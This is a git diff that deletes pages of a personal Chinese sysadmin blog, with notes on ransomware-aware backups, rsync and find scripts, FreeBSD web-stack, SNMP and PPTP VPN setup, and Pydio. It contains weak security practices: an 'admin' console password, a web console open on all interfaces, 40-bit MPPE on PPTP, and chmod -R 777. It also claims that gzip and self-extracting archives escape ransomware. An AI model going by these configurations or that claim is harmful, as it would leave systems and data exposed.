    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e9-9d-a2-e5-b0-8d-cryptolock-cryptowall-e5-8b-92-e7-b4-a2-e7-97-85-e6-af-92-e7-9a-84-e6-aa-94-e6-a1-88-e5-82-99-e4-bb-bd-e6-87-89-e5-b0-8d-e8-be-a6-e6-b3-95/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e9-9d-a2-e5-b0-8d-cryptolock-cryptowall-e5-8b-92-e7-b4-a2-e7-97-85-e6-af-92-e7-9a-84-e6-aa-94-e6-a1-88-e5-82-99-e4-bb-bd-e6-87-89-e5-b0-8d-e8-be-a6-e6-b3-95/index.html deleted file mode 100644 index 3bfa1611..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e9-9d-a2-e5-b0-8d-cryptolock-cryptowall-e5-8b-92-e7-b4-a2-e7-97-85-e6-af-92-e7-9a-84-e6-aa-94-e6-a1-88-e5-82-99-e4-bb-bd-e6-87-89-e5-b0-8d-e8-be-a6-e6-b3-95/index.html +++ /dev/null @@ -1,500 +0,0 @@ - - - - - - - - - - [筆記]面對 Cryptolock / Cryptowall 勒索病毒的檔案備份應對辦法 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記]面對 Cryptolock / Cryptowall 勒索病毒的檔案備份應對辦法

    -
    - - - 2015-12-21 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    最近Cryptolocker/Cryptowall 這類的勒索病毒越來越猖獗

    - -

    也由於一直無法確定病毒的實際來源,所以很難做到在GATEWAY端阻止

    - -

    於是換個角度來想,既然這類勒索病毒的加密目標是我們硬碟裡的「文件」,那只要避免這些「文件」被病毒直接感染到就好了

    - -

    上網查了一下,因為變種很多,原本的cryptolocker不會加密 zip檔,後面的變種好像會,於是備份時要避免用 .zip / .rar 的格式

    - -

    也就是說,要不就把硬碟內容以「映象檔」的方式備份,要不就是存成病毒不會去加密的類型

    - -

    以映象檔方式備份的作法,因為很花時間又很佔容量,所以先不考慮(其實我比較推薦這種方法)

    - -

    存成病毒不會加密的類型又有幾種作法

    - -

    - -

    一種是利用autover 之類的小工具,在檔案/目錄有異動時,進行備份,然後將備份後的檔案重新命名

    - -

    例如c:\123\123.txt 有異動的時候,自動備份到 d:\123\123.txt

    - -

    然後把 d:\123\123.txt 給重新命名成 d:\123\123.txt.timestamp 這樣

    - -

    不過呢,雖然這種real time backup 的軟體很多

    - -

    但是要能做到 rename after backup 的,沒有….

    - -

    跟幾位軟體的作者聯絡過,要不就是沒回我,不然就是說你付錢,我來改 

    - -
    - -

     

    - -

    在不想花錢的前提下,只好想其他辦法

    - -

    這些軟體大部分都會內建壓縮的的功能,雖然 zip/rar 好像也會被加密,那如果有zip/rar 以外的壓縮方式呢?

    - -

    照這個思維想下去,第一個想到 .tgz  XD

    - -

    然後還真的找到了一個免費、免安裝的軟體叫 toucan ,可以用GZIP去壓縮 ,而且支援命令列模式啟動,

    - -

    也就是說雖然他沒有內建排程,但是可以透過windows的排程定時去執行

    - -

    簡單用底下一張圖來說明

    - -

     

    - -

    2015-12-21_14-41-40

    - -

    1.執行程式後,選擇備份活頁

    - -

    2.在工作名稱輸入一個好記的名稱,這個名稱等一下會用到

    - -

    3.選擇要備份的路徑

    - -

    4.類型看你需要,看是完整或者更新都OK

    - -

    5.格式,這個是重點記得選 gzip

    - -

    6.要把檔案複製到哪裡? 這邊可以選本機、甚至可以選雲端硬碟的目錄,讓備份的檔案可以自動同步到雲端

    - -

    都設定完之後,在 2的地方,選那個磁片的圖示存檔,然後就可以關閉這個程式

    - -

    接下來改用命令列模式來進行備份

    - -

    切換到 toucan 的目錄後,輸入 toucan.exe -j JOB_NAME(就是剛剛輸入的工作名稱,在這邊就是 DD_ENCRYPT)

    - -

    2015-12-21_14-45-30

    - -

    然後就會看到程式開始執行(底下圖片的左邊就是程式執行的情況)

    - -

    2015-12-21_14-46-09

    - -

     

    - -

    備份的檔案就是一個 .gz 的檔案

    - -

    2015-12-21_14-48-18

    - -

    這種檔案「理論上」就不會被勒索軟體給加密了!

    - -

     

    - -
    - -

    如果不想用toucan ,那還有另一種作法是利用 winrar 的自解壓縮檔功能

    - -

    指令也很簡單

    - -

    winrar a -sfx BACKUP_DEST.exe  BACKUP_SOURCE

    - -

    2015-12-21_14-51-33

    - -

     

    - -

    備份後會產生一個 .exe 的自解壓縮檔,目前也不會被勒索軟體給感染!

    - -

    2015-12-21_14-52-52

    - -

     

    - -

     

    - -

     

    - -

     

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-find-exclude-path/index.html b/themes/public/article/e7-ad-86-e8-a8-98-find-exclude-path/index.html deleted file mode 100644 index 79f61590..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-find-exclude-path/index.html +++ /dev/null @@ -1,399 +0,0 @@ - - - - - - - - - - [筆記] find exclude path | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] find exclude path

    -
    - - - 2015-09-15 - - - - - - - - - 未分類 - - - - - -
    - - -

    找了好久,終於找到該怎麼在find 的結果中排除特定目錄 -> find .  -name ‘@eaDir’ -prune -o -mtime -7 -type f -print -趕快筆記下來!

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-find-files-create-in-a-week-and-tar-the-files/index.html b/themes/public/article/e7-ad-86-e8-a8-98-find-files-create-in-a-week-and-tar-the-files/index.html deleted file mode 100644 index ff987136..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-find-files-create-in-a-week-and-tar-the-files/index.html +++ /dev/null @@ -1,397 +0,0 @@ - - - - - - - - - - [筆記] find files create in a week and tar the files | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-forfiles-xcopy-list-files-modified-last-x-days/index.html b/themes/public/article/e7-ad-86-e8-a8-98-forfiles-xcopy-list-files-modified-last-x-days/index.html deleted file mode 100644 index ef7781e0..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-forfiles-xcopy-list-files-modified-last-x-days/index.html +++ /dev/null @@ -1,449 +0,0 @@ - - - - - - - - - - [筆記] forfiles xcopy list files modified last x days | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] forfiles xcopy list files modified last x days

    -
    - - - 2015-09-14 - - - - - - - - - 未分類 - - - - - -
    - - -

    筆記一下,免得忘掉

    - -

    為了解決DMP批次轉檔效率問題,想出一個方法不知道可不可行

    - -

    因為現行的方式是掃過一次NAS上的檔案,有異動的就去轉檔

    - -

    然後NAS上的檔案可能有上萬個,所以導致效能很糟糕..

    - -

    於是想說能不能先把有異動過的檔案,複製回本機,掃描過後,再去刪除,每天跑批次這樣..

    - -

    先筆記一下怎麼把有異動過的檔案複製回本機 -> forfiles /S /P d:\BaiduYunDownload /D +2015/09/01 /M V.mkv -c  “cmd /C Xcopy @path d:\test /y /s /d” -不過因為 forfiles 不支援 UNC ,所以要結合其他的命令 PushD

    - -

    @echo off -> PushD “\192.168.10.119\資訊部” &&( -> -> -> “c:\windows\system32\forfiles.exe” /D +%data% -c “cmd /C c:\windows\system32\xcopy @path d:\test /y /s /d” -> -> -> ) & PopD -這樣的作法不會建立完整的路徑…還要想看怎麼解決

    - -

    update

    - -

    想了想,還是用 rsync 好了,比較好處理,先 rsync 到一個目錄,透過SMB 讓DMP主機Mount,再修改 config -> rsync -Ra find /nas/資訊部 -type f -mtime -1 /root -這樣會在/root 底下建立 /nas/資訊部/1.xxxx /nas/資訊部/2-xxx 的完整路徑

    - -

    每天大約2300 跑一次,然後半夜讓DMP 去轉檔一次,然後每天中午清掉這個備份路徑(DMP應該可以轉完吧..),先這樣試試看

    - -

     

    - -

    update

    - -

    1.清除舊資料 -> rm -rf /NAS_Daily/nas ; rm -rf /tmp/query_7days_change.txt -2.find 產出檔案列表 -> find /nas/查詢資料夾/ -name ‘@eaDir’ -prune -o -mtime -7 -type f -print > /tmp/query_7days_change.txt -3. rsync同步 -> rsync -Rav –files-from=/tmp/query_7days_change.txt / /NAS_Daily/ -4. chmod 不然 Windows  那邊會進不了目錄 -> chmod -R 777 /NAS_Daily - 

    - -

     

    - -

     

    - -

     

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-freebsd-10-1-apache24-mysql-php56/index.html b/themes/public/article/e7-ad-86-e8-a8-98-freebsd-10-1-apache24-mysql-php56/index.html deleted file mode 100644 index 405cccc7..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-freebsd-10-1-apache24-mysql-php56/index.html +++ /dev/null @@ -1,442 +0,0 @@ - - - - - - - - - - [筆記] Freebsd 10.1 apache24 / mysql / php56 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] Freebsd 10.1 apache24 / mysql / php56

    -
    - - - 2016-01-05 - - - - - - - - - 未分類 - - - - - -
    - - - - -

    今天發現 pkg install 比 ports make install 快好多好多!我以前花了好多時間在make啊!!!

    - -

     

    - -

    APACHE 24

    - -

    pkg install apache24

    - -

    sysrc apache24_enable=yes

    - -

    service apache24 start

    - -

    Web 根目錄在 /usr/local/www/apache24/data

    - -

    開啟 http://your_server_ip

    - -

    應該要看到 It Works !

    - -

     

    - -

    MYSQL

    - -

    pkg install mysql56-server

    - -

    sysrc mysql_enable=yes

    - -

    server mysql-server start

    - -

    mysql_secure_installation  (記得改密碼,其他應該ENTER帶過就可以)

    - -

     

    - -

    PHP 5.6

    - -

    pkg install php56 php56-mysql php56-mysqli php56-gd php56-mbstring

    - -

    cp /usr/local/etc/php.ini-production /usr/local/etc/php.ini

    - -

    修改 php.ini 找到 DirectoryIndex  index.htm 這一行

    - -

    改成 DirectoryIndex index.php index.html index.htm

    - -

    再加入底下這幾行 -

    <FilesMatch “.php$”>

    SetHandler application/x-httpd-php

    </FilesMatch>

    <FilesMatch “.phps$”>

    SetHandler application/x-httpd-php-source

    </FilesMatch>

    service apache24 restart

    建立一個 test.php

    <?php

    phpinfo();

    ?>

    這樣應該就完成了

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-freebsd-10-1-post-inatll/index.html b/themes/public/article/e7-ad-86-e8-a8-98-freebsd-10-1-post-inatll/index.html deleted file mode 100644 index 8ce24c25..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-freebsd-10-1-post-inatll/index.html +++ /dev/null @@ -1,474 +0,0 @@ - - - - - - - - - - [筆記] Freebsd 10.1 post inatll | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] Freebsd 10.1 post inatll

    -
    - - - 2015-02-24 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    portsnap fetch extract  更新 port tree

    - -

    cd /usr/ports/ftp/axel ; make install clean 安裝 axel 下載工具

    - -

    cd /usr/ports/sysutils/screen ; make install clean  安裝  screen

    - -

    pkg install vim-lite 安裝 vim ,不知道為什麼,我用 ports 安裝 vim 都一直失敗,後來改用 pkg install 才成功

    - -

    - -

    設定UTF-8 環境

    - -

    /etc/csh.cshrc

    - -

    setenv LC_CTYPE en_US.ISO8859-1 -setenv LC_ALL zh_TW.UTF-8 -setenv LANG zh_TW.UTF-8 -setenv CLICOLOR -set color

    - -

     

    - -

    修改 ports 來源 & 下載工具

    - -

    /etc/make.conf

    - -

    MASTER_SITE_OVERRIDE=
    -ftp://ftp7.tw.freebsd.org/pub/FreeBSD/distfiles/${DIST_SUBDIR}/ -ftp://ftp5.tw.freebsd.org/pub/FreeBSD/distfiles/${DIST_SUBDIR}/ -ftp://ftp10.tw.freebsd.org/pub/FreeBSD/distfiles/${DIST_SUBDIR}/ -ftp://ftp13.tw.freebsd.org/pub/FreeBSD/distfiles/${DIST_SUBDIR}/ -ftp://ftp14.tw.freebsd.org/pub/FreeBSD/distfiles/${DIST_SUBDIR}/ -ftp://ftp15.tw.freebsd.org/pub/FreeBSD/distfiles/${DIST_SUBDIR}/ -ftp://ftp9.tw.freebsd.org/pub/FreeBSD/distfiles/${DIST_SUBDIR}/ -ftp://ftp2.tw.freebsd.org/pub/FreeBSD/distfiles/${DIST_SUBDIR}/ -ftp://ftp12.tw.freebsd.org/pub/FreeBSD/distfiles/${DIST_SUBDIR}/ -ftp://ftp6.tw.freebsd.org/pub/FreeBSD/distfiles/${DIST_SUBDIR}/ -ftp://ftp11.tw.freebsd.org/pub/FreeBSD/distfiles/${DIST_SUBDIR}/ -ftp://ftp8.tw.freebsd.org/pub/FreeBSD/distfiles/${DIST_SUBDIR}/ -ftp://ftp3.tw.freebsd.org/pub/FreeBSD/distfiles/${DIST_SUBDIR}/ -ftp://ftp4.tw.freebsd.org/pub/FreeBSD/distfiles/${DIST_SUBDIR}/ -ftp://ftp.tw.freebsd.org/pub/FreeBSD/distfiles/${DIST_SUBDIR}/

    - -

    USE_NONDEFAULT_X11BASE=yes -WITHOUT_X11=yes -NO_GUI=yes -FETCH_CMD=axel -FETCH_BEFORE_ARGS= -n 10 -a -FETCH_AFTER_ARGS= -DISABLE_SIZE=yes

    - -

     

    - -

    cd /usr/ports/chinese/joe ; make install clean 安裝 joe 編輯器 ,這個用起來還是比較順手

    - -

     

    - -

    ===================================================================

    - -

    nginx  勾選這些模組 -

    HTTP_DAV, HTTP_GZIP_STATIC, HTTP_PERL, HTTP_SSL, HTTP_DAV_EXT

    - -

    但是安裝到 http_dav_ext 時會出現問題 -只好手動下載 -cd /usr/ports/distfiles ; axel ftp://80.68.249.119/distfiles/arut-nginx-dav-ext-module-v0.0.3-0-g6974186.tar.gz

    - -

    然後再用 ports make install 應該就可以順利進行

    - -

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-freebsd-10-1-snmpwalk-e6-8a-93-e4-b8-8d-e5-88-b0-e8-b3-87-e6-96-99/index.html b/themes/public/article/e7-ad-86-e8-a8-98-freebsd-10-1-snmpwalk-e6-8a-93-e4-b8-8d-e5-88-b0-e8-b3-87-e6-96-99/index.html deleted file mode 100644 index 1d6ac9b1..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-freebsd-10-1-snmpwalk-e6-8a-93-e4-b8-8d-e5-88-b0-e8-b3-87-e6-96-99/index.html +++ /dev/null @@ -1,409 +0,0 @@ - - - - - - - - - - [筆記] FreeBSD 10.1 SNMPWALK 抓不到資料 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] FreeBSD 10.1 SNMPWALK 抓不到資料

    -
    - - - 2015-08-20 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    改 /usr/local/share/snmp/snmpd.conf

    - -

    You need to change the following limits: -view systemview included .1.3.6.1.2.1.1 -view systemview included .1.3.6.1.2.1.25.1.1

    - -

    to: -view systemview included .1.3.6.1.2.1 -view systemview included .1.3.6.1.2.1.25.1.1

    - -

     

    - -

    這樣就好,多了一個 .1 差很多很多….

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-freebsd-10-e6-9e-b6-e8-a8-ad-mpd5-e4-bd-9c-e7-82-ba-pptp-vpn-server/index.html b/themes/public/article/e7-ad-86-e8-a8-98-freebsd-10-e6-9e-b6-e8-a8-ad-mpd5-e4-bd-9c-e7-82-ba-pptp-vpn-server/index.html deleted file mode 100644 index 0883e96b..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-freebsd-10-e6-9e-b6-e8-a8-ad-mpd5-e4-bd-9c-e7-82-ba-pptp-vpn-server/index.html +++ /dev/null @@ -1,531 +0,0 @@ - - - - - - - - - - [筆記] FreeBSD 10 架設 MPD5 作為 PPTP VPN Server | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] FreeBSD 10 架設 MPD5 作為 PPTP VPN Server

    -
    - - - 2015-03-16 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    其實都是看人家整好的筆記…

    - -

    參考這篇

    - -

    FreeBSD使用MPD5架設VPN(PPTP協定)

    - -

    還有 這篇

    - -

    Install mpd5 pptp server on FreeBSD 9.2 and FreeBSD10

    - -

    - -

     

    - -

    複製一個 mpd.conf -

    cp /usr/local/etc/mpd5/mpd.conf.sample mpd.conf

    - -

    編輯 -vim /usr/local/etc/mpd5/mpd.conf

    ->
    startup:
    ->
    ->     set user netroby password admin
    ->
    ->     set console self 127.0.0.1 5005
    ->
    ->     set console open
    ->
    ->     set web self 0.0.0.0 5006
    ->
    ->     set web open
    ->
    -> default:
    ->
    ->     load pptp_server
    ->
    -> pptp_server:
    ->
    ->     set ippool add pool1 192.168.88.50 192.168.88.99
    ->
    ->     create bundle template B
    ->
    ->     set iface enable proxy-arp
    ->
    ->     set iface idle 1800
    ->
    ->     set iface enable tcpmssfix
    ->
    ->     set iface route 192.168.88.1
    ->
    ->     set ipcp yes vjcomp
    ->
    ->     set ipcp ranges 192.168.88.1/32 ippool pool1
    ->
    ->     set ipcp dns 8.8.8.8  <—改成 google DNS
    ->
    ->     set ipcp dns 8.8.4.4
    ->
    ->     set ipcp nbns 192.168.88.1
    ->
    ->     set bundle enable compression
    ->
    ->     set ccp yes mppc
    ->
    ->     set mppc yes e40
    ->
    ->     set mppc yes e128
    ->
    ->     set mppc yes stateless
    ->
    ->     create link template L pptp
    ->
    ->     set link fsm-timeout 5
    ->
    ->     set link action bundle B
    ->
    ->     set link enable multilink
    ->
    ->     set link yes acfcomp protocomp
    ->
    ->     set link no pap chap eap chap-msv2
    ->
    ->     set link enable chap chap-msv2 eap
    ->
    ->     set link accept chap-msv2
    ->
    ->     set link keep-alive 10 60
    ->
    ->     set link mtu 1460
    ->
    ->     set pptp self your_ip_address <–改成伺服器的WAN IP
    ->
    ->     set link enable incoming
    -
    -vim /etc/pf.conf
    ->
    my_int = “vtnet0”
    ->
    -> internal_net = “192.168.0.0/16”
    ->
    -> external_addr = “your_ip_addr” <–改成伺服器的 WAN IP
    ->
    -> nat on $my_int from $internal_net to any -> $external_addr
    ->
    -> set skip on lo
    ->
    -> block in log all
    ->
    -> pass in on $my_int proto tcp from any to any port 1723 keep state
    ->
    -> pass in on $my_int proto tcp from any to any port 22 keep state
    ->
    -> pass in on $my_int proto tcp from any to any port 80 keep state
    ->
    -> pass in on $my_int proto tcp from any to any port 443 keep state
    ->
    -> pass in quick on $my_int proto icmp all keep state
    ->
    -> pass in proto gre all keep state
    ->
    -> pass in from any to $internal_net
    ->
    -> pass in from $internal_net to any
    ->
    -> pass out proto { gre, tcp, udp, icmp } all keep state
    ->
    -> 
    -
    -service pf restart 現有的 SSH會中斷 要重連
    -重開 pietty 測試連線OK之後,開IPHONE來連 VPN確認正常,可是速度很糟糕..
    -要拿來看片,我想應該是不可能了…

    - -

    改天再來測試 Linode / Vultr 的 VPS吧..

    - -

    - -

     

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-freebsd-9-1-e7-9a-84-pdumpfs-ruby-1-9-e6-9c-83-e6-9c-89-e5-95-8f-e9-a1-8c/index.html b/themes/public/article/e7-ad-86-e8-a8-98-freebsd-9-1-e7-9a-84-pdumpfs-ruby-1-9-e6-9c-83-e6-9c-89-e5-95-8f-e9-a1-8c/index.html deleted file mode 100644 index b6e68e0f..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-freebsd-9-1-e7-9a-84-pdumpfs-ruby-1-9-e6-9c-83-e6-9c-89-e5-95-8f-e9-a1-8c/index.html +++ /dev/null @@ -1,425 +0,0 @@ - - - - - - - - - - [筆記] FreeBSD 9.1 的 pdumpfs +Ruby 1.9 會有問題 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] FreeBSD 9.1 的 pdumpfs +Ruby 1.9 會有問題

    -
    - - - 2013-08-07 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    今天繼續搶救因為空調問題結果造成磁碟錯誤的備份用SERVER

    - -

    昨天重灌 FreeBSD9.1之後,還有一些小工具沒有裝。

    - -

    然後在安裝 pdumpfs時,雖然沒有發生錯誤,但是要執行卻無法執行

    - -

    錯誤訊息如下 -> % pdumpfs /home/turutani /backup/turutani -> -> /usr/local/lib/ruby/1.9/rubygems/custom_require.rb:36:in require': cannot load such file -- ftools (LoadError) -> -> from /usr/local/lib/ruby/1.9/rubygems/custom_require.rb:36:inrequire’ -> -> from /usr/local/sbin/pdumpfs:51:in `<main>‘ - 

    - -

    GOOGLE到這篇,有人放出 patch ,可是我不會用………(或者應該說用了也沒用)

    - -

    http://freebsd.1045724.n5.nabble.com/ports-179611-running-sysutils-pdumpfs-fails-with-ruby19-td5820350.html

    - -

    想到說FreeBSD除了ports之外,還有個pkg_add 的方式可以安裝軟體

    - -

    所以翻了一下文件,也找到了指令 -> pkg_add -r pdumpfs -這樣裝的pdumpfs 似乎不是最新1.3.2版,不過也看不出來 -> root@ds:/root # pdumpfs -v -> -> pdumpfs 1.3 -反正能正常執行就好了,這次應該會把 rsync備份的方式改成pdumpfs來作吧!

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-freebsd-e5-ae-89-e8-a3-9d-pydio-windows-e5-ae-89-e8-a3-9d-pydiosync-client/index.html b/themes/public/article/e7-ad-86-e8-a8-98-freebsd-e5-ae-89-e8-a3-9d-pydio-windows-e5-ae-89-e8-a3-9d-pydiosync-client/index.html deleted file mode 100644 index 6886cf98..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-freebsd-e5-ae-89-e8-a3-9d-pydio-windows-e5-ae-89-e8-a3-9d-pydiosync-client/index.html +++ /dev/null @@ -1,489 +0,0 @@ - - - - - - - - - - [筆記] FreeBSD 安裝 Pydio / Windows 安裝 PydioSync Client | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] FreeBSD 安裝 Pydio / Windows 安裝 PydioSync Client

    -
    - - - 2015-02-16 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    Pydio ( https://pydio.com/ ) 是一種類似 Dropbox 的文件分享自由軟體

    - -

    之前玩過 owncloud ,也是類似的軟體,但是OWNCLOUD的速度實在讓人不敢領教

    - -

    今天偶然看到這個 pydio ,風評都說速度不錯,於是趁著年前沒啥事情,在VPS上搞了一套起來 (有 FreeBSD的VPS真好! )

    - -

    - -

    在FreeBSD 10.1 上安裝 pydio 很簡單,只要去 ports 裡面找到 pydio 然後 make install ; make clean 就好

    - -

    預設安裝路徑會在 /usr/local/www/ptdio

    - -

    因為我的WEB Server 是用 nginx ,所以接下來就去設定 nginx ,開一個 virtual host,指向到上面說的路徑,nginx -t 測試一下,沒問題就重啟nginx

    - -

    開啟網頁後,會先跑出環境測試的訊息,裡面的error/ warning 看要不要順手解決,想說第一次安裝,先玩玩看,我就沒有特別去排除那些問題

    - -

    安裝過程中會要求輸入一些選項,基本上都很簡單啦,不外乎就是管理者帳號密碼、DB帳號密碼、程式路徑、新增使用者等等

    - -

    好了之後,就可以看到 pydio 的登入畫面了!(預設就有繁體中文)

    - -

    2015-02-16_14-58-59

    - -

     

    - -

    登入之後,其實用法跟其他的軟體大同小異,但是值得一提的是, pydio 的速度真的很快!

    - -

    我之前把 owncloud 也裝在同一台VPS 上,速度就慢到一個哭罷….

    - -

    但是 pydio 不管是管理介面、或者是一般使用者的操作介面,都很順暢!

    - -

    簡單操作一下,錄個影片看看有多流暢,別忘了,這可是在日本機房的2 core / 1G RAM 的 FreeBSD VPS 上跑出來的效果!真的是非常的順暢!

    - -

    影片中可以看到,我在一個分享的檔案上,建立了一個 public link ,然後寄出邀請,收到邀請後,只要點信件中的連結,就可以開啟檔案!

    - -

     

    - -

    [video width=“1920” height=“1038” mp4=“http://wp.cowbay.org/wp-content/uploads/2015/02/2015-02-16_15-07-48.mp4"][/video]

    - -

     

    - -

    在 筆電同步的話,要先去下載Client

    - -

    我一開始在官網下載的,都會出現 require_auth  errno=193 的錯誤

    - -

    後來去找了一下google ,發現在 sourceforge上也有提供下載,不過呢,從這邊下載、安裝後,要執行時,會提示找不到 jre /  jvm.dll missing 的錯誤

    - -

    因為我這台作業系統剛剛安裝好沒多久,電腦上安裝的是 Java 8 Update 31

    - -

    不管怎樣設定,都會出現 jvm.dll 的錯誤,同樣也是翻過 google 才知道 Java 8 沒有 jvm.dll …

    - -

    所以又去下載了 Java 7 Update 75 ,把jvm.dll 補上,程式才可以正常執行..

    - -

    在程式中設定好伺服器名稱、帳號、密碼之後,並且指定要同步的路徑之後,在本機端就會開始和伺服器端的資料夾同步了

    - -

    這部分也和其他的 sync tool 大同小異..

    - -

     

    - -

    2015-02-16_15-27-08 2015-02-16_15-27-27

    - -

     

    - -

    簡單來說,這套目前用起來的感想就是速度很快,不過CLIENT安裝略嫌不便..

    - -

    整體而言,比起之前測試的 OwnCloud 要好上很多!

    - -

     

    - -

    在新增 WorkSpace 的時候,是有看到FTP/S3等等的遠端磁碟選項,不過沒有測試出來

    - -

    然後比較想要的 Google Drive/ OneDrive 似乎沒看到,之後再來玩玩看這部分好了!

    - -

     

    - -

    補充,一開始要建立 public link 會一直提示什麼 mcrypt length 6 key 之類的錯誤訊息

    - -

    解決方法,用ADMIN登入之後,到 plugin –>action plugins –> sharing features 把minimum key 從6改成 12 or 24 就可以了

    - -

     

    - -

     

    - -

     

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-freebsd-e5-b0-8b-e6-89-be-e9-87-8d-e8-a4-87-e6-aa-94-e6-a1-88-fdupes/index.html b/themes/public/article/e7-ad-86-e8-a8-98-freebsd-e5-b0-8b-e6-89-be-e9-87-8d-e8-a4-87-e6-aa-94-e6-a1-88-fdupes/index.html deleted file mode 100644 index 77f54770..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-freebsd-e5-b0-8b-e6-89-be-e9-87-8d-e8-a4-87-e6-aa-94-e6-a1-88-fdupes/index.html +++ /dev/null @@ -1,432 +0,0 @@ - - - - - - - - - - [筆記] freebsd 尋找重複檔案 fdupes | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] freebsd 尋找重複檔案 fdupes

    -
